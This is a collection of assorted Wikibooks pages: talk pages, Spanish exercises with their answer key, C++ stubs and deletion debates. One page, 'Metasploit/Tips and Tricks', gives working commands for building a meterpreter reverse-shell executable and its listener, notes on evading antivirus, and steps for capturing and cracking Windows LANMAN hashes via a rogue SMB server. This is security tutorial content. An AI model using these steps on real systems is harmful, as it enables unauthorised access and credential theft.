text:
User talk:Spoon!

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck!, sorry it took this long :) --Panic 10:04, 27 March 2007 (UTC)

C++ Programming
Thanks for the help, other pages that might interest you on the editing of the C++ book would be Editor's TOC, if you need any help on just ask. --Panic 10:04, 27 March 2007 (UTC)

Java Programming/Generic
Hi Spoon, How are you? I noticed you made an edit at Java Programming book. Welcome. Feel free to help us make this book better.

You typed the text "<? super ClassName>". The word 'super' here is not valid. You may want to correct it. Thanks. Ervinn (talk) 14:24, 10 December 2007 (UTC)
 * Yes it is. --Spoon! (talk) 11:03, 17 December 2007 (UTC)

Your account will be renamed
Hello,

The developer team at Wikimedia is making some changes to how accounts work, as part of our on-going efforts to provide new and better tools for our users like cross-wiki notifications. These changes will mean you have the same account name everywhere. This will let us give you new features that will help you edit and discuss better, and allow more flexible user permissions for tools. One of the side-effects of this is that user accounts will now have to be unique across all 900 Wikimedia wikis. See the announcement for more information.

Unfortunately, your account clashes with another account also called Spoon!. To make sure that both of you can use all Wikimedia projects in future, we have reserved the name Spoon!~enwikibooks that only you will have. If you like it, you don't have to do anything. If you do not like it, you can pick out a different name.

Your account will still work as before, and you will be credited for all your edits made so far, but you will have to use the new account name when you log in.

Sorry for the inconvenience.

Yours, Keegan Peterzell Community Liaison, Wikimedia Foundation 23:43, 17 March 2015 (UTC)

title: User talk:Spoon!


text:
Spanish/Exercises/¿Qué comes?

Welcome to the exercises related to lesson 6 of ¡Aprovéchalo! The answers can be found here. Also, try translating the dialogue at the top of the lesson page.

Food and Drink
Match the English to the Spanish.

What do you eat?

 * Conjugate the verb beber ("to drink") and cenar ("to dine") below:

A bottle of wine
Match up the following to make sentences that make sense.

In the shop
Pretend that you are a customer in a shop. In the following dialogue, fill in your part.
 * Buenos días.
 * ''Muy bien, gracias. ¿Qué quisieras?
 * Vale. Ahí están.
 * Cuestan tres euros.
 * ¡Adiós!
 * Cuestan tres euros.
 * ¡Adiós!
 * ¡Adiós!
 * ¡Adiós!

Adjectives

 * Correct the following sentences.
 * Ahí está tres tomates verde.
 * Los mujeres son difíciles.
 * Me gusta hombres amable.
 * Odie pepinos.
 * No les gustan comer patatas con queso.
 * Translate the following between Spanish and English.
 * I hate eating tomatoes: they're boring.
 * No toma queso o leche porque es vegano. [ vegano = vegan ]
 * I don't drink milk because it's white.
 * ¿Querrías comprar una manzana?
 * Does she like pasta with tomatoes and carrots?

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

title: Spanish/Exercises/¿Qué comes?


text:
Cookbook talk:Angels on Horseback (Bacon-wrapped Oysters)

Variations
I'm not too sure what the etiquette is here, but concerning this recipe I have a comment/variation that I'd like to have considered.

Marinating the oysters should be marked as optional, as I've never come across this in any other recipe I've seen, and the dish remains what it is without that stage. A fairly common option is to include either a sage or a basil leaf with each oyster.

I guess I'm going to have to find some sort of policy stuff on what goes on here: should the recipes here be absolutely minimalist, or should every individual variation be included?

LittlePete 10:50, 27 March 2007 (UTC)


text:
C++ Programming/Chapter Object Oriented Programming

= Object Oriented Programming =

Chapter Summary
|3


text:
C++ Programming/Chapter Advanced Features

= Advanced Features =

Chapter Summary
|4


text:
Wikibooks:Requests for deletion/Uniform Securities Agent State Law Exam

Uniform Securities Agent State Law Exam
Consists of only a single page that seems to me to be more appropriate for Wikiversity than for Wikibooks. --dark lama  16:02, 25 February 2007 (UTC)

 * Keep as Stub - This is a book stub with a general outline. A study guide/textbook certainly is legitimate in this situation, and the section headers are basically straight off this professional license exam.  There really isn't anything else like this on Wikibooks, and this is something that IMHO should eventually be developed here in terms of having a book that would help with the preparation for this exam.  This is not intended to be the exam itself, but a study guide for the exam, such as a college entrance exam like the SAT or ACT exams given in the USA where similar study guides have been written.  Or think of a similar kind of study guide for those taking a Bar Exam.  --Rob Horning 22:52, 27 February 2007 (UTC)
 * Delete - accepting the "maybe a stub might bring someone" there really is nothing worthwhile here and it has not been actively edited for a year (barely then). Anyone wanting to write this will almost certainly start again -- Herby  talk thyme 10:28, 3 March 2007 (UTC)
 * Weak delete - I have nothing wrong with study guides, and I have no problem with someone outlining a subject. But this has been up for a rather long time. When there is clearly no one working on a textbook stub, whether we keep it or not depends on whether it has content. Should we keep something on the basis that it has material that will help future editors provide content? Perhaps, but this is an outline. Outlines can be useful for a new editor, other times, it can just be a needless restriction. For the reader browsing wikibooks, an outline really provides nothing at all. I'm reluctant to say delete, because the outline seems well-designed, but with no direction, no content, and ambiguous usefulness, this book doesn't seem like it needs to stay. -- Monk talk 18:59, 4 March 2007 (UTC)

 * Keep - it's a stub and so could be expanded. Being a stub is not grounds for deletion in my opinion. Xania [[Image:Flag_of_Poland_2.svg|15px]]talk 19:30, 11 March 2007 (UTC)
 * Delete If its not being worked on, & is of little use to future contributors, kill it.--Dick 23:12, 17 March 2007 (UTC)
 * delete. Being a stub alone is not reason for a page to be deleted, this is true. However, being an abandoned stub with no active author, nothing for future editors to build upon, and little hope of ever becoming "not a stub" are good reasons all in favor of deletion. This book has not been edited in over a year, the author who started it has been absent for nearly that time as well. I find it highly unlikely also that anything here is worth salvaging for a future effort on this same subject. Having a stub like this around discourages new authors from starting their own books (they feel trapped into the currently existing book, if they can even find it) and discourages people from deviating from the outline already posted. Worse then being a stub, it's likely counter-productive to future book writing efforts. --Whiteknight (talk) (projects) 19:13, 22 March 2007 (UTC)


text:
Wikibooks:Requests for deletion/Relationships/Sex (2)

Relationships/Sex
I'm nominating this page as it's been listed as NPOV for some time and it's shockingly biased and in many parts lacking sources. It reads like a pamphlet produced by the United States Republican party or some kind of right-wing Christian group. The 'advice' about not dating drug users is without any suitable sources and this book seems to be encouraging abstinence which, again, seems to be US policy in recent years and completely based on religious belief. It might also be racist as it seems to employ that black people are more likely to carry STDs. In short, this module is terrible. This nomination should also be considered to be my supporting vote. Xania talk 22:05, 13 March 2007 (UTC)

 * Keep, even though I agree with Xania for the most part. Yes, there is a POV bias and some lacking in references.  So what?  What actual Wikibooks policy is being violated here?  When put into the greater context of the Relationships Wikibook, it seems to be a much more realistic topic that should go with that book.  And Wikibooks is not censored for minors.  If you disagree with the POV, fix it.  There are other modules in this Wikibook which are of nearly the same quality and would also justify a POV dispute.  There is no need to single this particular module out of the whole book, nor a reason to delete it when you can simply edit out the content you find objectionable (but assuming good faith on the part of the original contributor).  This is clearly something in book form and can be used (in theory) as a textbook for a legitimate university-level course. --Rob Horning 23:11, 13 March 2007 (UTC)
 * Delete - If you need a policy reference to delete, WB:WIW is one. This reads like someone's personal essay on sex and by looking at the history I can see that one user formed almost all of its content. There's a big difference between a page with some POV to be fixed and tweaked later and an advocacy essay. If I had more time I would inspect the rest of the book to see if it is as similarly biased and we may want to expand this VfD to the whole book if the rest of it is this bad. If the rest of the book is so similarly written as Rob suggests, then I would say that WB:WIW might also be violated since User:Tdkehoe really wrote this entire book and we shouldn't host his/her original research and stance on relationships, one that is extremely biased by the looks of this one page. I realize that there are numerous citations throughout the pages, but a biased article can be created easily when all the sources you select agree with you, something that can be found without much difficulty using modern research tools. This page would need to be emptied to get the POV out of it and also reminds me of a pamphlet a religious group would give out. This page has gone way too far and can be re-created properly after deletion should we choose not to delete the entire book. Furthermore, I would lose a great deal of respect for a university that chose to use this text. I don't think you can say this essay is very academic even with its references. Politics uses this writing style, not the field of psychology. -within focus 12:39, 14 March 2007 (UTC)
 * As far as being used in a university setting, I've actually had textbooks on human relationships and sexuality with a much stronger POV bias than this one both in my high school and at a university. I understand your concern about the NPOV here, but does it rise to a level of deleting an entire Wikibook, when the NPOV bias was the only justification for its removal?  I do think this VfD ought to be about the whole book and not just this module if that is the case.  Typically NPOV bias is not used as rationale for simply deleting content but as a motivation for editing.  And I do think this book is something that could be written in an NPOV fashion.
 * I guess this also seems to suggest to me a sort of attitude of "I don't like the POV of this Wikibooks contributor, and therefore we need to kick him off this project". --Rob Horning 15:25, 14 March 2007 (UTC)
 * We can extend this VfD to the entire book then. Adding POV that is as extreme as this cripples a book. Correction requires removal of content almost entirely and takes significantly more effort than just creating the book properly from the beginning again. We can go in and rip out all the POV but that's essentially deleting the pages and takes more time. You assume bad faith when you suggest such things to yourself as well since I could care less about the main editor's personal POV. What I do care about is that user writing a book here comprised solely of his/her POV and not a collective stance, something explicitly forbidden here. This user can come in and work on the new book as long as he/she works on it with an NPOV stance. -within focus 21:49, 14 March 2007 (UTC)
 * I think the assumption of bad faith here is on the part of the person who actually wrote this stuff in the first place. By focusing on out right dismissal of the content of this page as a violation of NPOV principles, and not attempting to educate the contributors on what NPOV standards actually mean but instead simply taking the easy road and just deleting the content, we have taken a legitimate attempt at writing a book and telling this person to go away, we don't need him here on Wikibooks.  This is not assuming good faith at all.  And yes, by you saying that this needs to be deleted is indeed saying that you have a strong objection to his POV.  I think you care about this particular editor's POV because you wouldn't be willing to take such drastic action if you didn't.  By deleting this whole Wikibook (and the same arguments can be applied to all of the rest of the modules in this book), you are saying that nearly all of the contributions of this user are meaningless and without any value at all.  --Rob Horning 15:52, 15 March 2007 (UTC)
 * You've extremely overreacted to what I said and made it some huge issue. Calm down please. No one is telling this person to go away and that user has edited several other books without issue. Let's not generalize this user's entire world of Wikibooks to a single VFD discussion because he/she has worked on many other projects. Deleting a page or book will say the same thing as ripping 99% of it out and re-writing it. I'm not labeling your solution with such ridiculous terms, so don't label mine. Once again, you have no concept of my personal opinions on this user's POV. Deleting a socialist or liberal POV work is the same as deleting whatever we want to label this more conservative work as. We've deleted other radically biased works here before. Again, this user worked on other projects here and has plenty of other pages to work on. You've turned this thread of discussion into discussing me and not the work anymore, so like several other times in the past I will no longer be responding to your incorrect assumptions. -within focus 17:44, 15 March 2007 (UTC)
 * Delete. This page was previously nominated for deletion, a motion that failed to acheive concensus. I was in favor of deletion then, and I am in favor of deletion still. The section about AIDS is particularly appalling. There are almost no mentions of using birth control or condoms, except stating statistics where these methods fail as a demonstration of the relative success of abstinence methods. No serious book on sexual practices, unless it is motivated by particular bias, is going to ignore contraception and prophylactics. By comparison, the Sexual Health goes into detailed instructions about how to properly use birth control and condoms, and explains that proper use of these methods can help to prevent STDs or unwanted pregnancies. Sexual Health also has a long, respectful page about abstinence as well, so I dont want to hear people say that it is similarly but oppositely biased from the Relationships book on the subject. Here are some quotes that I found to be particularly disturbing: "Stereotypically, a woman wants to find her knight in shining armor who'll make her life perfect in every way" (implying that women are subservient, or are dependant on men for happiness), "There are a number of mechanical devices that increase sexual arousal in women. Among these is the Mercedes-Benz 500SL" (implying that women are attracted to wealth), "the BDSM lifestyle ... encourages some dysfunctional behaviors" (implying that BDSM partners are dysfunctional), "If you have unprotected sex once with an HIV+ partner, you have about a one in 500 chance of infection" (implying that contracting AIDS is based on luck, or chance), "women are seen as victims and men are seen as offenders when unwanted intimacy occurs. Although the following paragraphs maintain this gender bias..." (further propagating this myth), and there are a million more. To fix all the NPOV violations in this page would require the current text to be almost removed entirely. --Whiteknight (talk) (projects) 18:13, 14 March 2007 (UTC)
 * Keep with extensive rewrite. A book on relationships would be remiss without a chapter on sex. The NPOV problems, although numerous, can be fixed. All the arguments for deletion are over content, not whether or not Wikibooks should have a chapter on sex in the Relationships book. Therefore, it should be labelled with an "NPOV" or "neutrality disputed" tag, not deleted. PurplePieman 00:05, 15 March 2007 (UTC)
 * Keep There is useful and sourced material included. POV can be edited. We have decided to keep books that exhibit strong and debatable POV with far less substantiation than this in the past. -- xixtas  talk 04:15, 15 March 2007 (UTC)
 * Keep yup problems on the POV and lacking references but has good content. --Panic 17:56, 15 March 2007 (UTC)

 * Comment I refuse to close this as keep (although this may well be the consensus) given the really very poor POV as Xania's original comments. Equally the keep votes (virtually) depend on it being rewritten & from past experience here that is quite unlikely to happen before some of us have shuffled off this world! If nothing else happens (a rewrite, another person closing it?) I think I will close as delete given the fact that it is very unlikely to be rewritten -- Herby  talk thyme 13:23, 17 March 2007 (UTC)
 * As I tried to say above, I think any such decision to keep or delete this module should also apply to this whole Wikibook. Nearly every module in this book has similar POV problems, and I think it is misguided to delete just this one module on these arguments alone, if the rest of the book is going to come back here to this VfD page again.  --Rob Horning 15:21, 17 March 2007 (UTC)

 * Delete Textbook? No. Kellen T 16:54, 17 March 2007 (UTC)
 * Delete unless some poor sod wants to do a rewrite--Dick 23:38, 17 March 2007 (UTC)

 * Ive attempted to start a rewrite of this thing, I think it's a lot better than it was, still could use a lot of work but I'm not really sure what the scope of the page is supposed to be... but if it's not enough that's fine by me. I'll stay neutral on this one for now. Mattb112885 (talk) 01:25, 18 March 2007 (UTC)

 * Including the nomination there appeared to be 5 votes for deletion and only 4 against yet it's been closed as 'keep'. I do agree though that recent changes have improved the article so I'll keep quite for now. Xania [[Image:Flag_of_Poland_2.svg|15px]]talk 12:03, 18 March 2007 (UTC)
 * Answered on your talk page but it is not about numerical votes AND the article has been edited constructively in the time in VfD -- Herby talk thyme 12:24, 18 March 2007 (UTC)

 * "Community Concensus" requires more then 5 votes out of 9. Concensus favors the status quo, so the burden is on those who vote to delete to make that case that this page should be deleted. Apparently, we did not make that case convincingly, and so the page stays. To get a page deleted, we should expect an overwhelming majority of people to agree on it, or for the page to be such a blatant violation of policy that it qualifies as a speedy. I wanted the page to be deleted, but I agree that there was no concensus for that action. --Whiteknight (talk) (projects) 22:25, 18 March 2007 (UTC)

 * Can you point me to where that definition is written and approved ? Or the rational you are using for thing like "overwhelming majority". txs.
 * Nevertheless and not that is considered important, I agree with your final interpretation of the wish of the community. (this is no attempt to bait you into any further discussion on the subject just another request for clarification and validation to see if I finally understand something that still escapes me)
 * From Deletion_policy (active), "After one week, if the voters have mostly reached a consensus about what to do, the appropriate action will be taken by an administrator. If not the voting may continue until a consensus is reached.", the keyword to validate your assessment is the word "mostly" but no clear ratio is defined or can invoked.
 * Mostly may be 51%, but I think it deals with no active block to the decission. (one may be against but not willing to block it) --Panic 23:30, 18 March 2007 (UTC)
 * I take also the chance to point out that the word "mostly" isn't at this time included on the Deletion policy/Unstable version of the policy. --Panic 23:58, 18 March 2007 (UTC)

 * WB:DP states that in VfD, "...reaching consensus should occur according to the decision-making policy" (it should likely be changed to say "guideline" instead of "policy"). Going to the decision making page, we see:
 * Ultimately the state of "community consensus" involves the vast majority of users agreeing on some decision.
 * The decision making page also says:
 * Wikibooks is not a democracy, and a simple voter majority is not the default, nor the recommended method of deciding any discussion.
 * This second quote shows that a 51% voter majority does not win a discussion. Even a discussion with a 75% majority after a straw poll should not be called in favor of the majority, unless perhaps there were only 4 people voting, and the dissenting vote isn't particularly strong. --Whiteknight (talk) (projects) 01:00, 19 March 2007 (UTC)

 * Agree, these seems to be very contradictory and it lets much left to interpretation, but at least some factors must be considered it is indeed a guideline as such not enforcible (it expresses an intention or interpretation and was not fit by the involved on the voting to be made a policy, taking in attention that the voters are a minority actively expressing what they perceive to be the will of the community), it should indeed be taken in consideration but can't validate any decission (I have also taken in consideration the archived discussions and the still standing posts that target this particular problem). So, taking all that was written the single and common ground must be the general definition of consensus and that doesn't support any vote by majority, (laking a local redefinition of the term) that seems not to be the intention of the users discussing it. (even some expressing direct opposition to it)
 * The standing VfD policy goes even further and expressly states the normal interpretation of consensus (and it is a policy).
 * So in this my point is reinforced barring any historical facts, what was the default ? how it was previously or in the beginning ? how is it on another Wikimedia projects ?
 * I even see it as dangerous (to the evolution and representation of the community), the the wording used from "Wikibooks is not a democracy, and a simple voter majority is not the default, nor the recommended method of deciding any discussion." (that I interpret as don't give voice to a user blocking a decission in bad faith) to vast majority (75% my interpretation) to "overwhelming majority" (85% my interpretation) to "Mostly" (51% my interpretation), taking in consideration our previous talks/events about this subject numbers of voters don't get any consistent application to the decisions and aren't particularly mentioned on the texts. Since you have [stated previously] some point that give enforcible value to a guideline (against a policy that states the contrary) or make 3 users ultimately responsible for the decission of what constitute abuse of the process of decission I think this is a question of major importance since we don't have a policy on the subject at the moment.
 * (I request that anyone that can provide answers to my questions to post them on my talk page)
 * Ok I think we shouldn't continue to debate it until more facts are presented, hope you agree with the assessment that a guideline can't be used to base the decission process. (that would be a different subject) --Panic 01:53, 19 March 2007 (UTC)

Re-opened. Frankly I cannot be bothered dealing with this. I have not got the time nor the inclination to deal with this -- Herby talk thyme 08:03, 19 March 2007 (UTC)
 * reset
 * 1) Closing VfD does not depend on the numerical votes but on argument as well
 * 2) The article was improved during the time in VfD (thanks to you both)
 * 3) There is a presumption to "keep" if the article is not actually outside scope
 * 4) This is not the place for discussion of VfD policy - it should be elsewhere

 * Sorry we weren't directly discussing VfD (actually we are but on that module talkpage), it was only a request for information fallowed by some commenting and sharing information about the statement made about consensus and voting in general with direct implications on the VfD, I could have made my comment on the user talk page but this would prevent others to fallow the discussion that is of general importance. Anyway improved articles are always a good thing... --Panic 08:20, 19 March 2007 (UTC)
 * Herby, your closure of this VfD was made in good faith, and neccessitated a judgement call from somebody "in authority" and having a neutral bias to this. I think you fit the bill here, and it is unfortunate that your judgement was questioned.  I do think that this discussion has run its course, although it should be noted that the decision did have a very split opinion on the topic.  In this case we should try to follow WB:DP that says "When in doubt, don't delete."
 * This module certainly can (together with the whole book) be renominated again, and with a split decision like this you can't bring up a strong case like "it survived a VfD... therefore keep". Since I've already voiced my strong opinions on this module, I will not remove it from here, but I hope that others like Herby aren't discouraged from closing VfDs like this... and making a decision which goes against the raw vote count.  --Rob Horning 18:43, 19 March 2007 (UTC)
 * I don't think anybody really questioned the motivation to keep the module, I think that there are some people who simply don't understand the method of consensus-driven decision making. I'm not sure how many times we need to say "consensus is neither 100% agreement nor 51% majority" before people understand. --Whiteknight (talk) (projects) 19:22, 19 March 2007 (UTC)
 * Yup I clearly stated on my first post that I agreed with the decission, I just can not let pass incorrect information on the decission process anymore, 100% agreement == unanimity, anything that gets any opposing vote is not consensus (like 51%), it is called a vote by majority. Consensus means no active objection, it means people may disagree but may chose to let the decission proceed, consensus means the ability to end a discussion without disregarding anyone's opinion.  --Panic 20:09, 19 March 2007 (UTC)
 * I disagree, consensus is not the same thing as unanimity. I think that this is self-evident to native speakers of English and I find your insistence that only your idiosyncratic definition of the word is correct to be baffling. Web Definitions of Consensus -- xixtas  talk 00:40, 20 March 2007 (UTC)


text:
Wikibooks:Requests for deletion/Making an Island:The Island as a Secret Fortress

Making an Island:The Island as a Secret Fortress
While many Wikibookians don't necessarily agree this book should even be on this project, this page in particular goes way over the top. The user who created this page made only these edits. I'm not deleting this myself only to get the opinion of another admin to confirm this really should be deleted, and give perhaps a final hope that this page could be transformed somehow with this threat of deletion. This is not to delete the whole wikibook, just this page. —The preceding unsigned comment was added by 88.191.51.214 (talk • contribs) 03:06, 17 Mar 2007 (UTC) (Tho this was a copy of what Rob Horning wrote originally - see comment)
 * Comment - interesting, I had planned to bring this to VfD today but an IP appears to have beaten me to is. Rob Horning placed a speedy tag on it about three weeks ago (with the comment used by the IP above) and I have no idea how many admins have looked at it but it remained undeleted.  I felt it should come here to generate some heat sorry - reach a consensus.  It does seem like rubbish but that has never stopped us keeping stuff in the past -- Herby  talk thyme 08:03, 17 March 2007 (UTC)
 * Very Strong Delete - This page seems it is very much from a very awfully written Ian Flemming-like fan fiction. I was very tempted to simply kill the page out right, but I felt it deserved at least a second opinion, which is why I tagged it for deletion instead at least to let another admin get a few laughs before it was gone.  As I pointed out, I do not want to turn this into yet another VfD discussion about this book (it has survived two such discussions already), but this page certainly seems to be out of tone with even the rest of this book, and was added by an individual who certainly did not take the rest of this Wikibook seriously.  As something to move to a "deleted nonsense and other humor", it deserves a good chuckle.  But it certainly doesn't belong on Wikibooks in the main content namespace.  --Rob Horning 15:16, 17 March 2007 (UTC)
 * "Very awfully written"? :-( --Johnny Castaway 18:53, 17 March 2007 (UTC)
 * No, I would not consider this to be brilliant prose or anything worthy of emulation in terms of a writing sample. Funny though.  Perhaps transwiki this to uncyclopedia instead?  It would be something fun to add to "Unbooks" like "Unnews". --Rob Horning 19:05, 17 March 2007 (UTC)
 * Delete per above. Kellen T 16:52, 17 March 2007 (UTC)
 * Moveto uncyclopedia, it's a laugh, but not Wikibook stuff.--Dick 23:44, 17 March 2007 (UTC)
 * Delete unless all contributors agree to re-license their contributions into Cc-by-nc-sa-2.0 ... how one would go about contact the two anonymous contributors is beyond me. --Iamunknown 01:10, 18 March 2007 (UTC)
 * Move ... Perhaps it (at least the useful parts) should be merged with a book about the theoretical prospects of terra-forming or construction engineering. Additionally, most of the humor should be squeezed out and any content possible should be made into an educational quality text. --Remi 03:36, 19 March 2007 (UTC)
 * Delete The Making an Island book has been nominated for VfD a number of times, and I believe that the only reason why it is kept is because it is an instructional resource on the topics of terraforming and social engineering which are properly discussed in terms of a large project such as this. Pages such as this one turn the book from being a creative way to discuss and interesting topic into a completely rediculous waste of space. This book already pushes the boundary in terms of our inclusion criteria, and if this page stays, then the whole book likely will need to be reconsidered for deletion. --Whiteknight (talk) (projects) 15:23, 19 March 2007 (UTC)
 * Move to uncyclopedia, doesn't belong on Wikibooks. --Panic 18:07, 22 March 2007 (UTC)
 * Delete as per others' comments above. Webaware talk 05:55, 23 March 2007 (UTC)


text:
User talk:209.50.153.2

Thanks for experimenting with Wikibooks. Your test worked, and has now been removed. Please use Sandbox for any other tests you want to do, since testing material in modules will normally be removed quickly. Please see the welcome page if you would like to learn more about contributing to our project. Thanks. -- Herby talk thyme 12:52, 27 March 2007 (UTC)

title: User talk:209.50.153.2


text:
GENtle/Dot plot

Dot plots can be generated in GENtle between two DNA sequences, which can be selected from drop-down lists in the toolbar. The calculation of the dot plot will start immediately and take a few seconds, depending on the length of the sequences.

A window size and a mismatch limit can be chosen as pararmeters for the dot plot. A click into the plot will take you to the respective position in sequence 1 (the first dropdown box), unless "Open sequence 2" is selected.

Either sequence can be opened via the context menu at the respective position. Also, the plot image can be copied or saved via the context menu.

title: GENtle/Dot plot


text:
User:Nate1481

see User:Nate1481

title: User:Nate1481


text:
GENtle/Restriction Identifier

The Restriction Identifier can be used to choose a restriction enzyme that can be used to differentiate two or more DNA sequences in an agarose gel. Its display is based on the virtual gel.

In the left column, all opened DNA sequences are shown in the lower box, and can be checked to be used in the identification, which will start once two or more DNA sequences are selected.

The generated enzyme list (upper box) can be affected by choosing an enzyme group, and by setting limitations, which determine that two bands in different lanes, in order to be recognized as "different", have to differ at least a given number of base pairs or a percentage of their length.

Upon selecting one of the resulting enzymes, the appropriate simulated gel will appear for visual inspection.

title: GENtle/Restriction Identifier


text:
Metasploit/Tips and Tricks

Tips and Tricks for the Metasploit Framework

Abstract
Whether writing exploits or using the Metasploit Framework, there are numerous tricks available to the end user.

Writing Exploits

 * Unsure about what characters may be filtered? Use the Rex::text.charset_exclude( badchars ) function:

shellcode = Rex::text.charset_exclude( payload_badchars ) buf[scloc] = shellcode buf[jmploc] = [ target['Rets'][0] ].pack('V')

Set your debugger to break at the jump location and review the characters in your dump. (Add screenshot)

 * Evasion techniques are best applied after verification of exploitability.

 * Some payloads may not work correctly in every exploit, try multiple payloads after you have execution flow.

Using Exploit-less Handlers (Executable Payloads)
At some point during your use with Metasploit you'll come into the need to run a payload without an exploit. This is possible with the use of the multi/handler exploit module.

Step 1. Generate your payload executable:

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X > met-reverse.exe

Step 2. Start your listener: msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.1 LHOST => 192.168.1.1 msf exploit(handler) > exploit [*] Started reverse handler [*] Starting the payload handler...

Step 3. Run the executable and interact msf exploit(handler) > exploit [*] Started reverse handler [*] Starting the payload handler... [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (81931 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:1060) meterpreter >

This document contains several syntax examples for creating and using stand alone payloads. It also contains discussion about avoiding antivirus detection. http://www.giac.org/certified_professionals/practicals/GCIH/01072.php

LM Half-Challenge
Originally blogged here - Using the Free Rainbow Tables HALFLMCHALL Tables and a modified Metasploit 2.7 smb_sniffer exploit module, obtaining and cracking LANMAN Challenges has never been easier.

Step 1. Use Metasploit 2.7 (for now) and the updated smb_sniffer.pm exploit module. This does not work on a Windows platform.

Step 2. Unpack Msf2.7 and place smb_sniffer.pm under the exploits/ directory, replacing the older version.

Step 3. Set up your Metasploit and run it as root

framework-2.7 $ sudo ./msfconsole Password:

o                      8         o   o                 8                       8             8 ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 8' 8 8 8oooo8   8  .oooo8 Yb.. 8   8 8 8    8  8   8 8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8 8 8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8 ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
 * 8:::::::::::::::::::::::

+ -- --=[ msfconsole v2.7 [161 exploits - 76 payloads]

msf > use smb_sniffer msf smb_sniffer > show options

Exploit Options

=
==

Exploit:   Name       Default         Description ---       ---  optional    KEY        �"3DUfw�        The Challenge key  optional    PWFILE                     The PWdump format log file (optional)  optional    LOGFILE    smbsniff.log    The path for the optional log file  required    LHOST      0.0.0.0         The IP address to bind the SMB service to  optional    UID        0               The user ID to switch to after opening the port  required    LPORT      139             The SMB server port

Target: Targetless Exploit

msf smb_sniffer > set PWFILE=/tmp/pwtest.txt PWFILE=/tmp/pwtest.txt: msf smb_sniffer > exploit [*] Listener created, switching to userid 0 [*] Starting SMB Password Service

Step 4. Have somebody connect to your server. It can be as simple as a "dir \\serverip\share" or "" tag on some HTML page. Windows will attempt to make the connection and send the logged in user credentials to your waiting server.

Step 5. Take your new pwtest.txt file and copy it over to a Cain & Able machine that has the HALFLMCHALL tables.

Step 6. Select the hash you want to crack, right click and select Cryptanalysis Attack->HALFLM Hashes + challenge->via RainbowTables, add the tables, and crack!

Caveats

 * Only LANMAN hashes can be obtained this way. If the client denies LM then too bad.
 * Only the first 7 characters are in the tables. You have to brute force the rest(or split the hash in 2 and add AAD3B435B51404EE at each end).
 * The tables are 54 GB total. It will take some time to load and search.

title: Metasploit/Tips and Tricks


text:
Spanish/Answers/¿Qué comes?

Food and Drink

 * 1) f) A cucumber
 * 2) h) Cheese
 * 3) j) An apple
 * 4) i) The pears
 * 5) g) Tea
 * 6) b) The carrots
 * 7) e) An egg
 * 8) a) Water
 * 9) c) Rice
 * 10) d) White wine

What do you eat?

 * 1) Bebo
 * 2) Bebes
 * 3) Bebe
 * 4) Bebemos
 * 5) Bebéis
 * 6) Beben

 * 1) Ceno
 * 2) Cenas
 * 3) Cena
 * 4) Cenamos
 * 5) Cenáis
 * 6) Cenan

A bottle of wine

 * 1) c) Un kilo y media de patatas
 * 2) e) Algo de pasta
 * 3) a) Una copa de vino tinto
 * 4) b) Un vaso de leche
 * 5) d) Una barra de pan

In the shop

 * Buenos días.
 * Buenos días. ¿Qué tal?
 * ''Muy bien, gracias. ¿Qué quisieras?
 * Quisiera seis huevos. [ can be anything, so long as it's plural ]
 * Vale. Ahí están.
 * ¿Cuánto cuestan?
 * Cuestan tres euros.
 * Gracias. Adiós.
 * ¡Adiós!

Adjectives

 * Ahí están tres tomates verdes.
 * Las mujeres son difíciles.
 * Me gustan hombres amables.
 * Odia pepinos.
 * No les gusta comer patatas con queso.

 * Odio comer las tomates: son aburridas.
 * He doesn't have cheese or milk because he's vegan.
 * No bebo leche porque es blanca.
 * Would you like to buy an apple?
 * ¿Le gusta pasta con tomates y zanahorias?

title: Spanish/Answers/¿Qué comes?


text:
User:Egad Syntax Error

=Egad Syntax Error= MY own Page, Yaaaaaay!!

ME
I think this is an awsome website. I have learned much from it's cornicopia, or Wiki-copia of knowledge.

title: User:Egad Syntax Error


text:
Haskell/GUI/Chapter

Specialised Tasks

title: Haskell/GUI/Chapter


text:
C++ Programming/Chapter Beyond the Standard

= Beyond the Standard =

Chapter Summary
|5


text:
C++ Programming/Chapters/C++/Print Version

|1


text:
File:Lightsaer tut screenshot1.png

Licensing
/Images

title: File:Lightsaer tut screenshot1.png


text:
File:Lightsaber tut screenshot2.jpg

Licensing
/Images

title: File:Lightsaber tut screenshot2.jpg


text:
File:Lightsaber tut screenshot3.jpg

Licensing
/Images

title: File:Lightsaber tut screenshot3.jpg


text:
C++ Programming/Chapters/Fundamentals/Print Version

|2


text:
File:Lightsaber tut screenshot4.jpg

Licensing
/Images

title: File:Lightsaber tut screenshot4.jpg


text:
File:Lightsaber tut screenshot5.jpg

Licensing
/Images

title: File:Lightsaber tut screenshot5.jpg


text:
File:Lightsaber tut screenshot6.jpg

Licensing
/Images

title: File:Lightsaber tut screenshot6.jpg


text:
C++ Programming/Chapter Object Oriented Programming Print version

|3


text:
File:Lightsaber tut screenshot7.jpg

Licensing
/Images

title: File:Lightsaber tut screenshot7.jpg


text:
